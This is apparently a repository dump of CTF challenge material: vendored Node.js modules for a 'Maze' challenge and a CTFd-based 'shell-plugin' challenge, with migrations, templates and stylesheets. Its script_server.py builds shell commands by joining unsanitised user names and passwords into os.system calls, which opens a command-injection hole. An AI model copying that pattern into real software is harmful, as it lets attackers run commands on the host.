THIS SOFTWARE. 16 | 17 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ws/lib/ErrorCodes.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * ws: a node.js websocket client 3 | * Copyright(c) 2011 Einar Otto Stangvik 4 | * MIT Licensed 5 | */ 6 | 7 | module.exports = { 8 | isValidErrorCode: function(code) { 9 | return (code >= 1000 && code <= 1011 && code != 1004 && code != 1005 && code != 1006) || 10 | (code >= 3000 && code <= 4999); 11 | }, 12 | 1000: 'normal', 13 | 1001: 'going away', 14 | 1002: 'protocol error', 15 | 1003: 'unsupported data', 16 | 1004: 'reserved', 17 | 1005: 'reserved for extensions', 18 | 1006: 'reserved for extensions', 19 | 1007: 'inconsistent or invalid data', 20 | 1008: 'policy violation', 21 | 1009: 'message too big', 22 | 1010: 'extension handshake missing', 23 | 1011: 'an unexpected condition prevented the request from being fulfilled', 24 | }; -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/lato.css: -------------------------------------------------------------------------------- 1 | /* lato-regular - latin */ 2 | @font-face { 3 | font-family: 'Lato'; 4 | font-style: normal; 5 | font-weight: 400; 6 | src: url('../../fonts/lato/lato-v11-latin-regular.eot'); /* IE9 Compat Modes */ 7 | src: local('Lato Regular'), local('Lato-Regular'), 8 | url('../../fonts/lato/lato-v11-latin-regular.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ 9 | url('../../fonts/lato/lato-v11-latin-regular.woff2') format('woff2'), /* Super Modern Browsers */ 10 | url('../../fonts/lato/lato-v11-latin-regular.woff') format('woff'), /* Modern Browsers */ 11 | url('../../fonts/lato/lato-v11-latin-regular.ttf') format('truetype'), /* Safari, Android, iOS */ 12 | url('../../fonts/lato/lato-v11-latin-regular.svg#Lato') format('svg'); /* Legacy iOS */ 13 | } -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/lato.css: -------------------------------------------------------------------------------- 1 | /* lato-regular - latin */ 2 | @font-face { 3 | font-family: 'Lato'; 4 | font-style: normal; 5 | font-weight: 400; 6 | src: url('../../fonts/lato/lato-v11-latin-regular.eot'); /* IE9 Compat Modes */ 7 | src: local('Lato Regular'), local('Lato-Regular'), 8 | url('../../fonts/lato/lato-v11-latin-regular.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ 9 | url('../../fonts/lato/lato-v11-latin-regular.woff2') format('woff2'), /* Super Modern Browsers */ 10 | url('../../fonts/lato/lato-v11-latin-regular.woff') format('woff'), /* Modern Browsers */ 11 | url('../../fonts/lato/lato-v11-latin-regular.ttf') format('truetype'), /* Safari, Android, iOS */ 12 | url('../../fonts/lato/lato-v11-latin-regular.svg#Lato') format('svg'); /* Legacy iOS */ 13 | } -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/plugins/challenges/__init__.py: -------------------------------------------------------------------------------- 1 | from CTFd.plugins.keys import get_key_class 2 | from CTFd.models import db, Keys 3 | 4 | class BaseChallenge(object): 5 | id = None 6 | name = None 7 | 8 | class CTFdStandardChallenge(BaseChallenge): 9 | id = 0 10 | name = "standard" 11 | 12 | @staticmethod 13 | def solve(chal, provided_key): 14 | chal_keys = Keys.query.filter_by(chal=chal.id).all() 15 | for chal_key in chal_keys: 16 | if get_key_class(chal_key.key_type).compare(chal_key.flag, provided_key): 17 | return True 18 | return False 19 | 20 | 21 | CHALLENGE_CLASSES = { 22 | 0 : CTFdStandardChallenge 23 | } 24 | 25 | def get_chal_class(class_id): 26 | cls = CHALLENGE_CLASSES.get(class_id) 27 | if cls is None: 28 | raise KeyError 29 | return cls -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/migrations/versions/a4e30c94c360_adds_data_column_to_keys_table.py: -------------------------------------------------------------------------------- 1 | """Add data column to keys table 2 | 3 | Revision ID: a4e30c94c360 4 | Revises: 87733981ca0e 5 | Create Date: 2017-02-13 21:43:46.929248 6 | 7 | """ 8 | from alembic import op 9 | import sqlalchemy as sa 10 | 11 | 12 | # revision identifiers, used by Alembic. 13 | revision = 'a4e30c94c360' 14 | down_revision = '87733981ca0e' 15 | branch_labels = None 16 | depends_on = None 17 | 18 | 19 | def upgrade(): 20 | # ### commands auto generated by Alembic - please adjust! ### 21 | op.add_column('keys', sa.Column('data', sa.Text(), nullable=True)) 22 | # ### end Alembic commands ### 23 | 24 | 25 | def downgrade(): 26 | # ### commands auto generated by Alembic - please adjust! ### 27 | op.drop_column('keys', 'data') 28 | # ### end Alembic commands ### 29 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/callsite/Readme.md: -------------------------------------------------------------------------------- 1 | # callstack 2 | 3 | Access to v8's "raw" `CallSite`s. 4 | 5 | ## Installation 6 | 7 | $ npm install callsite 8 | 9 | ## Example 10 | 11 | ```js 12 | var stack = require('callsite'); 13 | 14 | foo(); 15 | 16 | function foo() { 17 | bar(); 18 | } 19 | 20 | function bar() { 21 | baz(); 22 | } 23 | 24 | function baz() { 25 | console.log(); 26 | stack().forEach(function(site){ 27 | console.log(' \033[36m%s\033[90m in %s:%d\033[0m' 28 | , site.getFunctionName() || 'anonymous' 29 | , site.getFileName() 30 | , site.getLineNumber()); 31 | }); 32 | console.log(); 33 | } 34 | ``` 35 | 36 | ## Why? 37 | 38 | Because you can do weird, stupid, clever, wacky things such as: 39 | 40 | - [better-assert](https://github.com/visionmedia/better-assert) 41 | 42 | ## License 43 | 44 | MIT 45 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/raleway.css: -------------------------------------------------------------------------------- 1 | /* raleway-500 - latin */ 2 | @font-face { 3 | font-family: 'Raleway'; 4 | font-style: normal; 5 | font-weight: 500; 6 | src: url('../../fonts/raleway/raleway-v10-latin-500.eot'); /* IE9 Compat Modes */ 7 | src: local('Raleway Medium'), local('Raleway-Medium'), 8 | url('../../fonts/raleway/raleway-v10-latin-500.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ 9 | url('../../fonts/raleway/raleway-v10-latin-500.woff2') format('woff2'), /* Super Modern Browsers */ 10 | url('../../fonts/raleway/raleway-v10-latin-500.woff') format('woff'), /* Modern Browsers */ 11 | url('../../fonts/raleway/raleway-v10-latin-500.ttf') format('truetype'), /* Safari, Android, iOS */ 12 | url('../../fonts/raleway/raleway-v10-latin-500.svg#Raleway') format('svg'); /* Legacy iOS */ 13 | } -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/raleway.css: -------------------------------------------------------------------------------- 1 | /* raleway-500 - latin */ 2 | @font-face { 3 | font-family: 'Raleway'; 4 | font-style: normal; 5 | font-weight: 500; 6 | src: url('../../fonts/raleway/raleway-v10-latin-500.eot'); /* IE9 Compat Modes */ 7 | src: local('Raleway Medium'), local('Raleway-Medium'), 8 | url('../../fonts/raleway/raleway-v10-latin-500.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ 9 | url('../../fonts/raleway/raleway-v10-latin-500.woff2') format('woff2'), /* Super Modern Browsers */ 10 | url('../../fonts/raleway/raleway-v10-latin-500.woff') format('woff'), /* Modern Browsers */ 11 | url('../../fonts/raleway/raleway-v10-latin-500.ttf') format('truetype'), /* Safari, Android, iOS */ 12 | url('../../fonts/raleway/raleway-v10-latin-500.svg#Raleway') format('svg'); /* Legacy iOS */ 13 | } -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/xmlhttprequest-ssl/tests/test-request-protocols.js: -------------------------------------------------------------------------------- 1 | var sys = require("util") 2 | , assert = require("assert") 3 | , XMLHttpRequest = require("../lib/XMLHttpRequest").XMLHttpRequest 4 | , xhr; 5 | 6 | xhr = new XMLHttpRequest(); 7 | 8 | xhr.onreadystatechange = function() { 9 | if (this.readyState == 4) { 10 | assert.equal("Hello World", this.responseText); 11 | runSync(); 12 | } 13 | }; 14 | 15 | // Async 16 | var url = "file://" + __dirname + "/testdata.txt"; 17 | xhr.open("GET", url); 18 | xhr.send(); 19 | 20 | // Sync 21 | var runSync = function() { 22 | xhr = new XMLHttpRequest(); 23 | 24 | xhr.onreadystatechange = function() { 25 | if (this.readyState == 4) { 26 | assert.equal("Hello World", this.responseText); 27 | sys.puts("done"); 28 | } 29 | }; 30 | xhr.open("GET", url, false); 31 | xhr.send(); 32 | } 33 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/arraybuffer.slice/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * An abstraction for slicing an arraybuffer even when 3 | * ArrayBuffer.prototype.slice is not supported 4 | * 5 | * @api public 6 | */ 7 | 8 | module.exports = function(arraybuffer, start, end) { 9 | var bytes = arraybuffer.byteLength; 10 | start = start || 0; 11 | end = end || bytes; 12 | 13 | if (arraybuffer.slice) { return arraybuffer.slice(start, end); } 14 | 15 | if (start < 0) { start += bytes; } 16 | if (end < 0) { end += bytes; } 17 | if (end > bytes) { end = bytes; } 18 | 19 | if (start >= bytes || start >= end || bytes === 0) { 20 | return new ArrayBuffer(0); 21 | } 22 | 23 | var abv = new Uint8Array(arraybuffer); 24 | var result = new Uint8Array(end - start); 25 | for (var i = start, ii = 0; i < end; i++, ii++) { 26 | result[ii] = abv[i]; 27 | } 28 | return result.buffer; 29 | }; 30 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/path-to-regexp/History.md: -------------------------------------------------------------------------------- 1 | 0.1.7 / 2015-07-28 2 | ================== 3 | 4 | * Fixed regression with escaped round brackets and matching groups. 5 | 6 | 0.1.6 / 2015-06-19 7 | ================== 8 | 9 | * Replace `index` feature by outputting all parameters, unnamed and named. 10 | 11 | 0.1.5 / 2015-05-08 12 | ================== 13 | 14 | * Add an index property for position in match result. 15 | 16 | 0.1.4 / 2015-03-05 17 | ================== 18 | 19 | * Add license information 20 | 21 | 0.1.3 / 2014-07-06 22 | ================== 23 | 24 | * Better array support 25 | * Improved support for trailing slash in non-ending mode 26 | 27 | 0.1.0 / 2014-03-06 28 | ================== 29 | 30 | * add options.end 31 | 32 | 0.0.2 / 2013-02-10 33 | ================== 34 | 35 | * Update to match current express 36 | * add .license property to component.json 37 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/path.less: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}'); 7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'), 8 | url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'), 9 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'), 10 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'), 11 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/path.less: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}'); 7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'), 8 | url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'), 9 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'), 10 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'), 11 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/better-assert/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Module dependencies. 3 | */ 4 | 5 | var AssertionError = require('assert').AssertionError 6 | , callsite = require('callsite') 7 | , fs = require('fs') 8 | 9 | /** 10 | * Expose `assert`. 11 | */ 12 | 13 | module.exports = process.env.NO_ASSERT 14 | ? function(){} 15 | : assert; 16 | 17 | /** 18 | * Assert the given `expr`. 19 | */ 20 | 21 | function assert(expr) { 22 | if (expr) return; 23 | 24 | var stack = callsite(); 25 | var call = stack[1]; 26 | var file = call.getFileName(); 27 | var lineno = call.getLineNumber(); 28 | var src = fs.readFileSync(file, 'utf8'); 29 | var line = src.split('\n')[lineno-1]; 30 | var src = line.match(/assert\((.*)\)/)[1]; 31 | 32 | var err = new AssertionError({ 33 | message: src, 34 | stackStartFunction: stack[0].getFunction() 35 | }); 36 | 37 | throw err; 38 | } 39 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/debug/Makefile: -------------------------------------------------------------------------------- 1 | 2 | # get Makefile directory name: http://stackoverflow.com/a/5982798/376773 3 | THIS_MAKEFILE_PATH:=$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST)) 4 | THIS_DIR:=$(shell cd $(dir $(THIS_MAKEFILE_PATH));pwd) 5 | 6 | # BIN directory 7 | BIN := $(THIS_DIR)/node_modules/.bin 8 | 9 | # applications 10 | NODE ?= $(shell which node) 11 | NPM ?= $(NODE) $(shell which npm) 12 | BROWSERIFY ?= $(NODE) $(BIN)/browserify 13 | 14 | all: dist/debug.js 15 | 16 | install: node_modules 17 | 18 | clean: 19 | @rm -rf dist 20 | 21 | dist: 22 | @mkdir -p $@ 23 | 24 | dist/debug.js: node_modules browser.js debug.js dist 25 | @$(BROWSERIFY) \ 26 | --standalone debug \ 27 | . > $@ 28 | 29 | distclean: clean 30 | @rm -rf node_modules 31 | 32 | node_modules: package.json 33 | @NODE_ENV= $(NPM) install 34 | @touch node_modules 35 | 36 | .PHONY: all install clean distclean 37 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/cookie-signature/History.md: -------------------------------------------------------------------------------- 1 | 1.0.6 / 2015-02-03 2 | ================== 3 | 4 | * use `npm test` instead of `make test` to run tests 5 | * clearer assertion messages when checking input 6 | 7 | 8 | 1.0.5 / 2014-09-05 9 | ================== 10 | 11 | * add license to package.json 12 | 13 | 1.0.4 / 2014-06-25 14 | ================== 15 | 16 | * corrected avoidance of timing attacks (thanks @tenbits!) 17 | 18 | 1.0.3 / 2014-01-28 19 | ================== 20 | 21 | * [incorrect] fix for timing attacks 22 | 23 | 1.0.2 / 2014-01-28 24 | ================== 25 | 26 | * fix missing repository warning 27 | * fix typo in test 28 | 29 | 1.0.1 / 2013-04-15 30 | ================== 31 | 32 | * Revert "Changed underlying HMAC algo. to sha512." 33 | * Revert "Fix for timing attacks on MAC verification." 34 | 35 | 0.0.1 / 2010-01-03 36 | ================== 37 | 38 | * Initial release 39 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/migrations/versions/d6514ec92738_adding_max_attempts_to_challenges.py: -------------------------------------------------------------------------------- 1 | """Adding max_attempts to Challenges 2 | 3 | Revision ID: d6514ec92738 4 | Revises: a4e30c94c360 5 | Create Date: 2017-03-09 01:20:31.423407 6 | 7 | """ 8 | from alembic import op 9 | import sqlalchemy as sa 10 | 11 | 12 | # revision identifiers, used by Alembic. 13 | revision = 'd6514ec92738' 14 | down_revision = 'a4e30c94c360' 15 | branch_labels = None 16 | depends_on = None 17 | 18 | 19 | def upgrade(): 20 | # ### commands auto generated by Alembic - please adjust! ### 21 | op.add_column('challenges', sa.Column('max_attempts', sa.Integer(), nullable=True, default=0)) 22 | # ### end Alembic commands ### 23 | 24 | 25 | def downgrade(): 26 | # ### commands auto generated by Alembic - please adjust! ### 27 | op.drop_column('challenges', 'max_attempts') 28 | # ### end Alembic commands ### 29 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/script_server.py: -------------------------------------------------------------------------------- 1 | from SimpleXMLRPCServer import SimpleXMLRPCServer 2 | from SimpleXMLRPCServer import SimpleXMLRPCRequestHandler 3 | import os 4 | 5 | #https://docs.python.org/2/library/simplexmlrpcserver.html 6 | 7 | class RequestHandler(SimpleXMLRPCRequestHandler): 8 | rpc_paths = ('/RPC2',) 9 | 10 | server = SimpleXMLRPCServer(("localhost", 8000), 11 | requestHandler=RequestHandler, 12 | allow_none=True) 13 | 14 | server.register_introspection_functions() 15 | 16 | def add_user_func(name, password): 17 | os.system("./add-user.sh " + name + " " + password) 18 | 19 | def change_user_func(name, password): 20 | os.system("./change-user-pass.sh " + name + " " + password) 21 | 22 | server.register_function(add_user_func, 'add_user') 23 | server.register_function(change_user_func, 'change_user') 24 | 25 | server.serve_forever() 26 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_path.scss: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}'); 7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'), 8 | url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'), 9 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'), 10 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'), 11 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_path.scss: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}'); 7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'), 8 | url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'), 9 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'), 10 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'), 11 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/base64-arraybuffer/README.md: -------------------------------------------------------------------------------- 1 | # base64-arraybuffer 2 | 3 | [![Build Status](https://travis-ci.org/niklasvh/base64-arraybuffer.png)](https://travis-ci.org/niklasvh/base64-arraybuffer) 4 | [![NPM Downloads](https://img.shields.io/npm/dm/base64-arraybuffer.svg)](https://www.npmjs.org/package/base64-arraybuffer) 5 | [![NPM Version](https://img.shields.io/npm/v/base64-arraybuffer.svg)](https://www.npmjs.org/package/base64-arraybuffer) 6 | 7 | Encode/decode base64 data into ArrayBuffers 8 | 9 | ## Getting Started 10 | Install the module with: `npm install base64-arraybuffer` 11 | 12 | ## API 13 | The library encodes and decodes base64 to and from ArrayBuffers 14 | 15 | - __encode(buffer)__ - Encodes `ArrayBuffer` into base64 string 16 | - __decode(str)__ - Decodes base64 string to `ArrayBuffer` 17 | 18 | ## License 19 | Copyright (c) 2012 Niklas von Hertzen 20 | Licensed under the MIT license. 21 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/escape-html/Readme.md: -------------------------------------------------------------------------------- 1 | 2 | # escape-html 3 | 4 | Escape string for use in HTML 5 | 6 | ## Example 7 | 8 | ```js 9 | var escape = require('escape-html'); 10 | var html = escape('foo & bar'); 11 | // -> foo & bar 12 | ``` 13 | 14 | ## Benchmark 15 | 16 | ``` 17 | $ npm run-script bench 18 | 19 | > escape-html@1.0.3 bench nodejs-escape-html 20 | > node benchmark/index.js 21 | 22 | 23 | http_parser@1.0 24 | node@0.10.33 25 | v8@3.14.5.9 26 | ares@1.9.0-DEV 27 | uv@0.10.29 28 | zlib@1.2.3 29 | modules@11 30 | openssl@1.0.1j 31 | 32 | 1 test completed. 33 | 2 tests completed. 34 | 3 tests completed. 35 | 36 | no special characters x 19,435,271 ops/sec ±0.85% (187 runs sampled) 37 | single special character x 6,132,421 ops/sec ±0.67% (194 runs sampled) 38 | many special characters x 3,175,826 ops/sec ±0.65% (193 runs sampled) 39 | ``` 40 | 41 | ## License 42 | 43 | MIT -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/animated.less: -------------------------------------------------------------------------------- 1 | // Animated Icons 2 | // -------------------------- 3 | 4 | .@{fa-css-prefix}-spin { 5 | -webkit-animation: fa-spin 2s infinite linear; 6 | animation: fa-spin 2s infinite linear; 7 | } 8 | 9 | .@{fa-css-prefix}-pulse { 10 | -webkit-animation: fa-spin 1s infinite steps(8); 11 | animation: fa-spin 1s infinite steps(8); 12 | } 13 | 14 | @-webkit-keyframes fa-spin { 15 | 0% { 16 | -webkit-transform: rotate(0deg); 17 | transform: rotate(0deg); 18 | } 19 | 100% { 20 | -webkit-transform: rotate(359deg); 21 | transform: rotate(359deg); 22 | } 23 | } 24 | 25 | @keyframes fa-spin { 26 | 0% { 27 | -webkit-transform: rotate(0deg); 28 | transform: rotate(0deg); 29 | } 30 | 100% { 31 | -webkit-transform: rotate(359deg); 32 | transform: rotate(359deg); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseqs/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Compiles a querystring 3 | * Returns string representation of the object 4 | * 5 | * @param {Object} 6 | * @api private 7 | */ 8 | 9 | exports.encode = function (obj) { 10 | var str = ''; 11 | 12 | for (var i in obj) { 13 | if (obj.hasOwnProperty(i)) { 14 | if (str.length) str += '&'; 15 | str += encodeURIComponent(i) + '=' + encodeURIComponent(obj[i]); 16 | } 17 | } 18 | 19 | return str; 20 | }; 21 | 22 | /** 23 | * Parses a simple querystring into an object 24 | * 25 | * @param {String} qs 26 | * @api private 27 | */ 28 | 29 | exports.decode = function(qs){ 30 | var qry = {}; 31 | var pairs = qs.split('&'); 32 | for (var i = 0, l = pairs.length; i < l; i++) { 33 | var pair = pairs[i].split('='); 34 | qry[decodeURIComponent(pair[0])] = decodeURIComponent(pair[1]); 35 | } 36 | return qry; 37 | }; 38 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_animated.scss: -------------------------------------------------------------------------------- 1 | // Spinning Icons 2 | // -------------------------- 3 | 4 | .#{$fa-css-prefix}-spin { 5 | -webkit-animation: fa-spin 2s infinite linear; 6 | animation: fa-spin 2s infinite linear; 7 | } 8 | 9 | .#{$fa-css-prefix}-pulse { 10 | -webkit-animation: fa-spin 1s infinite steps(8); 11 | animation: fa-spin 1s infinite steps(8); 12 | } 13 | 14 | @-webkit-keyframes fa-spin { 15 | 0% { 16 | -webkit-transform: rotate(0deg); 17 | transform: rotate(0deg); 18 | } 19 | 100% { 20 | -webkit-transform: rotate(359deg); 21 | transform: rotate(359deg); 22 | } 23 | } 24 | 25 | @keyframes fa-spin { 26 | 0% { 27 | -webkit-transform: rotate(0deg); 28 | transform: rotate(0deg); 29 | } 30 | 100% { 31 | -webkit-transform: rotate(359deg); 32 | transform: rotate(359deg); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/animated.less: -------------------------------------------------------------------------------- 1 | // Animated Icons 2 | // -------------------------- 3 | 4 | .@{fa-css-prefix}-spin { 5 | -webkit-animation: fa-spin 2s infinite linear; 6 | animation: fa-spin 2s infinite linear; 7 | } 8 | 9 | .@{fa-css-prefix}-pulse { 10 | -webkit-animation: fa-spin 1s infinite steps(8); 11 | animation: fa-spin 1s infinite steps(8); 12 | } 13 | 14 | @-webkit-keyframes fa-spin { 15 | 0% { 16 | -webkit-transform: rotate(0deg); 17 | transform: rotate(0deg); 18 | } 19 | 100% { 20 | -webkit-transform: rotate(359deg); 21 | transform: rotate(359deg); 22 | } 23 | } 24 | 25 | @keyframes fa-spin { 26 | 0% { 27 | -webkit-transform: rotate(0deg); 28 | transform: rotate(0deg); 29 | } 30 | 100% { 31 | -webkit-transform: rotate(359deg); 32 | transform: rotate(359deg); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_animated.scss: -------------------------------------------------------------------------------- 1 | // Spinning Icons 2 | // -------------------------- 3 | 4 | .#{$fa-css-prefix}-spin { 5 | -webkit-animation: fa-spin 2s infinite linear; 6 | animation: fa-spin 2s infinite linear; 7 | } 8 | 9 | .#{$fa-css-prefix}-pulse { 10 | -webkit-animation: fa-spin 1s infinite steps(8); 11 | animation: fa-spin 1s infinite steps(8); 12 | } 13 | 14 | @-webkit-keyframes fa-spin { 15 | 0% { 16 | -webkit-transform: rotate(0deg); 17 | transform: rotate(0deg); 18 | } 19 | 100% { 20 | -webkit-transform: rotate(359deg); 21 | transform: rotate(359deg); 22 | } 23 | } 24 | 25 | @keyframes fa-spin { 26 | 0% { 27 | -webkit-transform: rotate(0deg); 28 | transform: rotate(0deg); 29 | } 30 | 100% { 31 | -webkit-transform: rotate(359deg); 32 | transform: rotate(359deg); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/express/lib/middleware/init.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * express 3 | * Copyright(c) 2009-2013 TJ Holowaychuk 4 | * Copyright(c) 2013 Roman Shtylman 5 | * Copyright(c) 2014-2015 Douglas Christopher Wilson 6 | * MIT Licensed 7 | */ 8 | 9 | 'use strict'; 10 | 11 | /** 12 | * Initialization middleware, exposing the 13 | * request and response to each other, as well 14 | * as defaulting the X-Powered-By header field. 15 | * 16 | * @param {Function} app 17 | * @return {Function} 18 | * @api private 19 | */ 20 | 21 | exports.init = function(app){ 22 | return function expressInit(req, res, next){ 23 | if (app.enabled('x-powered-by')) res.setHeader('X-Powered-By', 'Express'); 24 | req.res = res; 25 | res.req = req; 26 | req.next = next; 27 | 28 | req.__proto__ = app.request; 29 | res.__proto__ = app.response; 30 | 31 | res.locals = res.locals || Object.create(null); 32 | 33 | next(); 34 | }; 35 | }; 36 | 37 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/js/templates/admin-keys-table.hbs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | {{#each keys}} 11 | 12 | 13 | 14 | 19 | 20 | {{/each}} 21 | 22 |
TypeKeySettings
{{this.type_name}}{{this.key}} 15 | 16 | 17 | 18 |
-------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/templates/admin/statistics.html: -------------------------------------------------------------------------------- 1 | {% extends "admin/base.html" %} 2 | 3 | {% block content %} 4 | 5 |
6 |
7 |

Statistics

8 | 9 |

{{ team_count }} teams registered

10 |

{{ wrong_count }} wrong keys submitted

11 |

{{ solve_count }} right keys submitted

12 |

{{ challenge_count }} challenges

13 | {% if most_solved %} 14 |

Most solved: {{ most_solved }} with {{ solve_data[most_solved] }} solves

15 | {% endif %} 16 | {% if least_solved %} 17 |

Least solved: {{ least_solved }} with {{ solve_data[least_solved] }} solves

18 | {% endif %} 19 |
20 | 21 | 22 | {% endblock %} 23 | 24 | {% block scripts %} 25 | {% endblock %} 26 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io/node_modules/debug/Makefile: -------------------------------------------------------------------------------- 1 | 2 | # get Makefile directory name: http://stackoverflow.com/a/5982798/376773 3 | THIS_MAKEFILE_PATH:=$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST)) 4 | THIS_DIR:=$(shell cd $(dir $(THIS_MAKEFILE_PATH));pwd) 5 | 6 | # BIN directory 7 | BIN := $(THIS_DIR)/node_modules/.bin 8 | 9 | # applications 10 | NODE ?= $(shell which node) 11 | YARN ?= $(shell which yarn) 12 | PKG ?= $(if $(YARN),$(YARN),$(NODE) $(shell which npm)) 13 | BROWSERIFY ?= $(NODE) $(BIN)/browserify 14 | 15 | all: dist/debug.js 16 | 17 | install: node_modules 18 | 19 | clean: 20 | @rm -rf dist 21 | 22 | dist: 23 | @mkdir -p $@ 24 | 25 | dist/debug.js: node_modules browser.js debug.js dist 26 | @$(BROWSERIFY) \ 27 | --standalone debug \ 28 | . > $@ 29 | 30 | distclean: clean 31 | @rm -rf node_modules 32 | 33 | node_modules: package.json 34 | @NODE_ENV= $(PKG) install 35 | @touch node_modules 36 | 37 | .PHONY: all install clean distclean 38 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io/node_modules/debug/Makefile: -------------------------------------------------------------------------------- 1 | 2 | # get Makefile directory name: http://stackoverflow.com/a/5982798/376773 3 | THIS_MAKEFILE_PATH:=$(word $(words 